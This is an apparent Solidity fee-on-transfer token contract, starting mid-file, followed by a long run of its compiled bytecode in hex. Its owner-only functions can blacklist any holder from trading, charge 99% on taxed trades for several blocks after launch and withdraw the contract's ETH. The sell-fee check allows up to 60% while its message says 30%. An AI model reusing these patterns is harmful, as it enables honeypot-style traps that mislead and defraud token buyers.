uint256 private _previousBuyDevelopmentFee = _buyDevelopmentFee;
uint256 private _sellProjectFee = 4;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 4;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellCharityFee = 3;
uint256 private _previousSellCharityFee = _sellCharityFee;
uint256 private _sellDevelopmentFee = 1;
uint256 private _previousSellDevelopmentFee = _sellDevelopmentFee;
uint256 private tokensForCharity;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
uint256 private tokensForDevelopment;
uint256 private swapTokensAtAmount = 0;
address payable private _projectWallet;
address payable private _liquidityWallet;
address payable private _developmentWallet;
address private uniswapV2Pair;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address projectWallet, address liquidityWallet, address developmentWallet) {
_projectWallet = payable(projectWallet);
_liquidityWallet = payable(liquidityWallet);
_developmentWallet = payable(developmentWallet);
_rOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_projectWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
_isExcludedFromFee[_developmentWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (cooldownEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(cooldown[tx.origin] < block.number - 1 && cooldown[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
cooldown[tx.origin] = block.number;
cooldown[to] = block.number;
}
}
takeFee = true;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
require(amount <= _maxSellAmount, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from,to,amount,takeFee, shouldSwap);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForCharity + tokensForProject + tokensForDevelopment;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 10) {
contractBalance = swapTokensAtAmount * 10;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForReward = ethBalance.mul(tokensForCharity).div(totalTokensToSwap);
uint256 ethForProject = ethBalance.mul(tokensForProject).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForReward - ethForProject - ethForDevelopment;
tokensForLiquidity = 0;
tokensForCharity = 0;
tokensForProject = 0;
tokensForDevelopment = 0;
(success,) = address(_developmentWallet).call{value: ethForDevelopment}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_projectWallet).call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_liquidityWallet,
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_projectWallet.transfer(amount.div(2));
_developmentWallet.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxBuyAmount = 5e15 * (10**_decimals);
_maxSellAmount = 3e15 * (10**_decimals);
_maxWalletAmount = 2e16 * (10**_decimals);
swapTokensAtAmount = 3e14 * (10**_decimals);
tradingOpen = true;
tradingActiveBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
require(maxBuy >= 1e14 * (10**_decimals), "Max buy amount cannot be lower than 0.01% total supply.");
_maxBuyAmount = maxBuy;
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
require(maxSell >= 1e14 * (10**_decimals), "Max sell amount cannot be lower than 0.01% total supply.");
_maxSellAmount = maxSell;
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
require(maxToken >= 1e15 * (10**_decimals), "Max wallet amount cannot be lower than 0.1% total supply.");
_maxWalletAmount = maxToken;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
require(newAmount >= 1e14 * (10**_decimals), "Swap amount cannot be lower than 0.01% total supply.");
require(newAmount <= 5e15 * (10**_decimals), "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
}
function setProjectWallet(address projectWallet) public onlyOwner() {
require(projectWallet != address(0), "projectWallet address cannot be 0");
_isExcludedFromFee[_projectWallet] = false;
_projectWallet = payable(projectWallet);
_isExcludedFromFee[_projectWallet] = true;
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
require(liquidityWallet != address(0), "liquidityWallet address cannot be 0");
_isExcludedFromFee[_liquidityWallet] = false;
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[_liquidityWallet] = true;
}
function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = exempt;
}
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
bots[accounts[i]] = exempt;
}
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyRewardFee, uint256 buyDevelopmentFee) external onlyOwner {
require(buyProjectFee + buyLiquidityFee + buyRewardFee + buyDevelopmentFee <= 30, "Must keep buy taxes below 30%");
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_buyCharityFee = buyRewardFee;
_buyDevelopmentFee = buyDevelopmentFee;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellRewardFee, uint256 sellDevelopmentFee) external onlyOwner {
require(sellProjectFee + sellLiquidityFee + sellRewardFee + sellDevelopmentFee <= 60, "Must keep sell taxes below 30%");
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sellCharityFee = sellRewardFee;
_sellDevelopmentFee = sellDevelopmentFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
blocksToBlacklist = blocks;
}
function removeAllFee() private {
if(_buyProjectFee == 0 && _buyLiquidityFee == 0 && _buyCharityFee == 0 && _buyDevelopmentFee == 0 && _sellProjectFee == 0 && _sellLiquidityFee == 0 && _sellCharityFee == 0 && _sellDevelopmentFee == 0) return;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBuyCharityFee = _buyCharityFee;
_previousBuyDevelopmentFee = _buyDevelopmentFee;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSellCharityFee = _sellCharityFee;
_previousSellDevelopmentFee = _sellDevelopmentFee;
_buyProjectFee = 0;
_buyLiquidityFee = 0;
_buyCharityFee = 0;
_buyDevelopmentFee = 0;
_sellProjectFee = 0;
_sellLiquidityFee = 0;
_sellCharityFee = 0;
_sellDevelopmentFee = 0;
}
function restoreAllFee() private {
_buyProjectFee = _previousBuyProjectFee;
_buyLiquidityFee = _previousBuyLiquidityFee;
_buyCharityFee = _previousBuyCharityFee;
_buyDevelopmentFee = _previousBuyDevelopmentFee;
_sellProjectFee = _previousSellProjectFee;
_sellLiquidityFee = _previousSellLiquidityFee;
_sellCharityFee = _previousSellCharityFee;
_sellDevelopmentFee = _previousSellDevelopmentFee;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
if(!takeFee) {
removeAllFee();
} else {
amount = _takeFees(sender, amount, isSell);
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
uint256 _totalFees;
uint256 pjctFee;
uint256 liqFee;
uint256 chrtyFee;
uint256 devFee;
if(tradingActiveBlock + blocksToBlacklist >= block.number){
_totalFees = 99;
pjctFee = 25;
liqFee = 25;
chrtyFee = 24;
devFee = 25;
} else {
_totalFees = _getTotalFees(isSell);
if (isSell) {
pjctFee = _sellProjectFee;
liqFee = _sellLiquidityFee;
chrtyFee = _sellCharityFee;
devFee = _sellDevelopmentFee;
} else {
pjctFee = _buyProjectFee;
liqFee = _buyLiquidityFee;
chrtyFee = _buyCharityFee;
devFee = _buyDevelopmentFee;
}
}
uint256 fees = amount.mul(_totalFees).div(100);
tokensForCharity += fees * chrtyFee / _totalFees;
tokensForProject += fees * pjctFee / _totalFees;
tokensForLiquidity += fees * liqFee / _totalFees;
tokensForDevelopment += fees * devFee / _totalFees;
if(fees > 0) {
_transferStandard(sender, address(this), fees);
}
return amount -= fees;
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function _getTotalFees(bool isSell) private view returns(uint256) {
if (isSell) {
return _sellProjectFee + _sellLiquidityFee + _sellCharityFee + _sellDevelopmentFee;
}
return _buyProjectFee + _buyLiquidityFee + _buyCharityFee + _buyDevelopmentFee;
}
} | 0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063dd62ed3e1161008a578063e6f7ef4d11610064578063e6f7ef4d14610523578063e99c9d0914610543578063f34eb0b814610563578063f5648a4f1461058357600080fd5b8063dd62ed3e1461049d578063e01af92c146104e3578063e653da081461050357600080fd5b8063a9059cbb116100c6578063a9059cbb14610433578063afa4f3b214610453578063c3c8cd8014610473578063c9567bf91461048857600080fd5b80638da5cb5b146103bd57806395d89b41146103e55780639c0db5f31461041357600080fd5b8063313ce5671161015957806370a082311161013357806370a0823114610332578063715018a6146103685780638a7804471461037d5780638c5a133d1461039d57600080fd5b8063313ce567146102e15780635932ead1146102fd5780636fc3eaec1461031d57600080fd5b806318160ddd1161019557806318160ddd1461025e57806323b872dd1461028157806327a14fc2146102a1578063296f0a0c146102c157600080fd5b806306fdde03146101c7578063095ea7b31461020c578063105222f91461023c57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600a8152694265617374205475626560b01b60208201525b60405161020391906125d8565b60405180910390f35b34801561021857600080fd5b5061022c610227366004612652565b610598565b6040519015158152602001610203565b34801561024857600080fd5b5061025c6102573660046126ad565b6105af565b005b34801561026a57600080fd5b5061027361064e565b604051908152602001610203565b34801561028d57600080fd5b5061022c61029c366004612784565b610673565b3480156102ad57600080fd5b5061025c6102bc3660046127c5565b6106dc565b3480156102cd57600080fd5b5061025c6102dc3660046127de565b61079d565b3480156102ed57600080fd5b5060405160098152602001610203565b34801561030957600080fd5b5061025c6103183660046127fb565b610879565b34801561032957600080fd5b5061025c6108c3565b34801561033e57600080fd5b5061027361034d3660046127de565b6001600160a01b031660009081526004602052604090205490565b34801561037457600080fd5b5061025c6108fa565b34801561038957600080fd5b5061025c6103983660046127de565b61096e565b3480156103a957600080fd5b5061025c6103b8366004612818565b610a48565b3480156103c957600080fd5b506000546040516001600160a01b039091168152602001610203565b3480156103f157600080fd5b50604080518082019091526005815264425455424560d81b60208201526101f6565b34801561041f57600080fd5b5061025c61042e3660046126ad565b610af6565b34801561043f57600080fd5b5061022c61044e366004612652565b610b87565b34801561045f57600080fd5b5061025c61046e3660046127c5565b610b94565b34801561047f57600080fd5b5061025c610cd4565b34801561049457600080fd5b5061025c610d17565b3480156104a957600080fd5b506102736104b836600461284a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104ef57600080fd5b5061025c6104fe3660046127fb565b611110565b34801561050f57600080fd5b5061025c61051e366004612818565b611158565b34801561052f57600080fd5b5061025c61053e3660046127c5565b611206565b34801561054f57600080fd5b5061025c61055e3660046127c5565b611235565b34801561056f57600080fd5b5061025c61057e3660046127c5565b6112f5565b34801561058f57600080fd5b5061025c6113b5565b60006105a533848461142c565b5060015b92915050565b6000546001600160a01b031633146105e25760405162461bcd60e51b81526004016105d990612883565b60405180910390fd5b60005b8251811015610649578160066000858481518110610605576106056128b8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610641816128e4565b9150506105e5565b505050565b600061065c6009600a6129e3565b61066e90670de0b6b3a76400006129f2565b905090565b6000610680848484611551565b6106d284336106cd85604051806060016040528060288152602001612b77602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611b89565b61142c565b5060019392505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016105d990612883565b6107126009600a6129e3565b6107239066038d7ea4c680006129f2565b8110156107985760405162461bcd60e51b815260206004820152603960248201527f4d61782077616c6c657420616d6f756e742063616e6e6f74206265206c6f776560448201527f72207468616e20302e312520746f74616c20737570706c792e0000000000000060648201526084016105d9565b600b55565b6000546001600160a01b031633146107c75760405162461bcd60e51b81526004016105d990612883565b6001600160a01b0381166108295760405162461bcd60e51b815260206004820152602360248201527f6c697175696469747957616c6c657420616464726573732063616e6e6f74206260448201526206520360ec1b60648201526084016105d9565b602480546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016105d990612883565b600880549115156401000000000264ff0000000019909216919091179055565b6000546001600160a01b031633146108ed5760405162461bcd60e51b81526004016105d990612883565b476108f781611bc3565b50565b6000546001600160a01b031633146109245760405162461bcd60e51b81526004016105d990612883565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016105d990612883565b6001600160a01b0381166109f85760405162461bcd60e51b815260206004820152602160248201527f70726f6a65637457616c6c657420616464726573732063616e6e6f74206265206044820152600360fc1b60648201526084016105d9565b602380546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610a725760405162461bcd60e51b81526004016105d990612883565b601e8183610a808688612a11565b610a8a9190612a11565b610a949190612a11565b1115610ae25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772033302500000060448201526064016105d9565b600e93909355601091909155601255601455565b6000546001600160a01b03163314610b205760405162461bcd60e51b81526004016105d990612883565b60005b8251811015610649578160076000858481518110610b4357610b436128b8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b7f816128e4565b915050610b23565b60006105a5338484611551565b6000546001600160a01b03163314610bbe5760405162461bcd60e51b81526004016105d990612883565b610bca6009600a6129e3565b610bda90655af3107a40006129f2565b811015610c465760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e604482015273101817181892903a37ba30b61039bab838363c9760611b60648201526084016105d9565b610c526009600a6129e3565b610c63906611c37937e080006129f2565b811115610ccf5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b60648201526084016105d9565b602255565b6000546001600160a01b03163314610cfe5760405162461bcd60e51b81526004016105d990612883565b306000908152600460205260409020546108f781611c48565b6000546001600160a01b03163314610d415760405162461bcd60e51b81526004016105d990612883565b60085460ff1615610d945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d9565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610de03082610dce6009600a6129e3565b6106cd90670de0b6b3a76400006129f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e429190612a29565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb39190612a29565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190612a29565b602680546001600160a01b039283166001600160a01b03199091161790556002541663f305d7194730610f6c816001600160a01b031660009081526004602052604090205490565b600080610f816000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610fa396959493929190612a46565b60606040518083038185885af1158015610fc1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fe69190612a81565b50506008805464ffff00000019166401010000001790555061100a6009600a6129e3565b61101b906611c37937e080006129f2565b600990815561102b90600a6129e3565b61103c90660aa87bee5380006129f2565b600a90815561104d906009906129e3565b61105e9066470de4df8200006129f2565b600b5561106d6009600a6129e3565b61107e90660110d9316ec0006129f2565b6022556008805460ff1916600117905543600c5560265460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c9190612aaf565b5050565b6000546001600160a01b0316331461113a5760405162461bcd60e51b81526004016105d990612883565b6008805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b031633146111825760405162461bcd60e51b81526004016105d990612883565b603c81836111908688612a11565b61119a9190612a11565b6111a49190612a11565b11156111f25760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f7720333025000060448201526064016105d9565b601693909355601891909155601a55601c55565b6000546001600160a01b031633146112305760405162461bcd60e51b81526004016105d990612883565b600d55565b6000546001600160a01b0316331461125f5760405162461bcd60e51b81526004016105d990612883565b61126b6009600a6129e3565b61127b90655af3107a40006129f2565b8110156112f05760405162461bcd60e51b815260206004820152603860248201527f4d61782073656c6c20616d6f756e742063616e6e6f74206265206c6f7765722060448201527f7468616e20302e30312520746f74616c20737570706c792e000000000000000060648201526084016105d9565b600a55565b6000546001600160a01b0316331461131f5760405162461bcd60e51b81526004016105d990612883565b61132b6009600a6129e3565b61133b90655af3107a40006129f2565b8110156113b05760405162461bcd60e51b815260206004820152603760248201527f4d61782062757920616d6f756e742063616e6e6f74206265206c6f776572207460448201527f68616e20302e30312520746f74616c20737570706c792e00000000000000000060648201526084016105d9565b600955565b6000546001600160a01b031633146113df5760405162461bcd60e51b81526004016105d990612883565b604051600090339047908381818185875af1925050503d8060008114611421576040519150601f19603f3d011682016040523d82523d6000602084013e611426565b606091505b50505050565b6001600160a01b03831661148e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d9565b6001600160a01b0382166114ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166115b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d9565b6001600160a01b0382166116175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d9565b600081116116795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d9565b60008061168e6000546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156116bd57506000546001600160a01b03858116911614155b80156116d157506001600160a01b03841615155b80156116e857506001600160a01b03841661dead14155b80156116fc5750600854610100900460ff16155b15611a6a576001600160a01b03851660009081526007602052604090205460ff1615801561174357506001600160a01b03841660009081526007602052604090205460ff16155b61174c57600080fd5b600854640100000000900460ff1615611868576002546001600160a01b0385811691161480159061178b57506026546001600160a01b03858116911614155b156118685761179b600143612acc565b326000908152600360205260409020541080156117d957506117be600143612acc565b6001600160a01b038516600090815260036020526040902054105b6118435760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016105d9565b3260009081526003602052604080822043908190556001600160a01b03871683529120555b602654600192506001600160a01b03868116911614801561189757506002546001600160a01b03858116911614155b80156118bc57506001600160a01b03841660009081526006602052604090205460ff16155b156119ac576009548311156119255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178426044820152683abca0b6b7bab73a1760b91b60648201526084016105d9565b600b5483611948866001600160a01b031660009081526004602052604090205490565b6119529190612a11565b11156119ac5760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b60648201526084016105d9565b6026546001600160a01b0385811691161480156119d757506002546001600160a01b03868116911614155b80156119fc57506001600160a01b03851660009081526006602052604090205460ff16155b15611a6a57600a54831115611a665760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785360448201526932b63620b6b7bab73a1760b11b60648201526084016105d9565b5060015b6001600160a01b03851660009081526006602052604090205460ff1680611aa957506001600160a01b03841660009081526006602052604090205460ff165b15611ab357600091505b306000908152600460205260408120549050600060225482118015611ad55750825b9050808015611aed57506008546301000000900460ff165b8015611b015750600854610100900460ff16155b8015611b2657506001600160a01b03871660009081526006602052604090205460ff16155b8015611b4b57506001600160a01b03861660009081526006602052604090205460ff16155b15611b73576008805461ff001916610100179055611b67611dbf565b6008805461ff00191690555b611b808787878787612038565b50505050505050565b60008184841115611bad5760405162461bcd60e51b81526004016105d991906125d8565b506000611bba8486612acc565b95945050505050565b6023546001600160a01b03166108fc611bdd8360026120a4565b6040518115909202916000818181858888f19350505050158015611c05573d6000803e3d6000fd5b506025546001600160a01b03166108fc611c208360026120a4565b6040518115909202916000818181858888f1935050505015801561110c573d6000803e3d6000fd5b6008805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611c8e57611c8e6128b8565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0b9190612a29565b81600181518110611d1e57611d1e6128b8565b6001600160a01b039283166020918202929092010152600254611d44913091168461142c565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d7d908590600090869030904290600401612ae3565b600060405180830381600087803b158015611d9757600080fd5b505af1158015611dab573d6000803e3d6000fd5b50506008805462ff00001916905550505050565b3060009081526004602052604081205490506000602154601f54601e54602054611de99190612a11565b611df39190612a11565b611dfd9190612a11565b90506000821580611e0c575081155b15611e1657505050565b602254611e2490600a6129f2565b831115611e3c57602254611e3990600a6129f2565b92505b600060028360205486611e4f91906129f2565b611e599190612b54565b611e639190612b54565b90506000611e7185836120ed565b905047611e7d82611c48565b6000611e8947836120ed565b90506000611eac87611ea6601e548561212f90919063ffffffff16565b906120a4565b90506000611ec988611ea6601f548661212f90919063ffffffff16565b90506000611ee689611ea66021548761212f90919063ffffffff16565b905060008183611ef68688612acc565b611f009190612acc565b611f0a9190612acc565b60006020819055601e819055601f81905560218190556025546040519293506001600160a01b031691849181818185875af1925050503d8060008114611f6c576040519150601f19603f3d011682016040523d82523d6000602084013e611f71565b606091505b50909950508715801590611f855750600081115b15611fd657611f9488826121ae565b60208054604080518a81529283018490528201527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6023546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612023576040519150601f19603f3d011682016040523d82523d6000602084013e612028565b606091505b5050505050505050505050505050565b8161204a57612045612249565b612058565b6120558584836122fe565b92505b61206385858561245d565b8161209d5761209d600f54600e55601154601055601354601255601554601455601754601655601954601855601b54601a55601d54601c55565b5050505050565b60006120e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612503565b9392505050565b60006120e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b89565b60008261213e575060006105a9565b600061214a83856129f2565b9050826121578583612b54565b146120e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d9565b6002546121c69030906001600160a01b03168461142c565b60025460245460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926122069230928992600092839216904290600401612a46565b60606040518083038185885af1158015612224573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061209d9190612a81565b600e541580156122595750601054155b80156122655750601254155b80156122715750601454155b801561227d5750601654155b80156122895750601854155b80156122955750601a54155b80156122a15750601c54155b156122a857565b600e8054600f556010805460115560128054601355601480546015556016805460175560188054601955601a8054601b55601c8054601d5560009788905595879055938690559185905584905583905582905555565b60008060008060008043600d54600c546123189190612a11565b10612333575060639350601992508291506018905081612372565b61233c87612531565b9450861561235d5760165493506018549250601a549150601c549050612372565b600e5493506010549250601254915060145490505b60006123836064611ea68b8961212f565b90508561239084836129f2565b61239a9190612b54565b601e60008282546123ab9190612a11565b909155508690506123bc86836129f2565b6123c69190612b54565b601f60008282546123d79190612a11565b909155508690506123e885836129f2565b6123f29190612b54565b602060008282546124039190612a11565b9091555086905061241483836129f2565b61241e9190612b54565b6021600082825461242f9190612a11565b90915550508015612445576124458a308361245d565b61244f818a612acc565b9a9950505050505050505050565b6001600160a01b03831660009081526004602052604090205461248090826120ed565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546124af9082612579565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115449085815260200190565b600081836125245760405162461bcd60e51b81526004016105d991906125d8565b506000611bba8486612b54565b6000811561256357601c54601a5460185460165461254f9190612a11565b6125599190612a11565b6105a99190612a11565b601454601254601054600e5461254f9190612a11565b60008061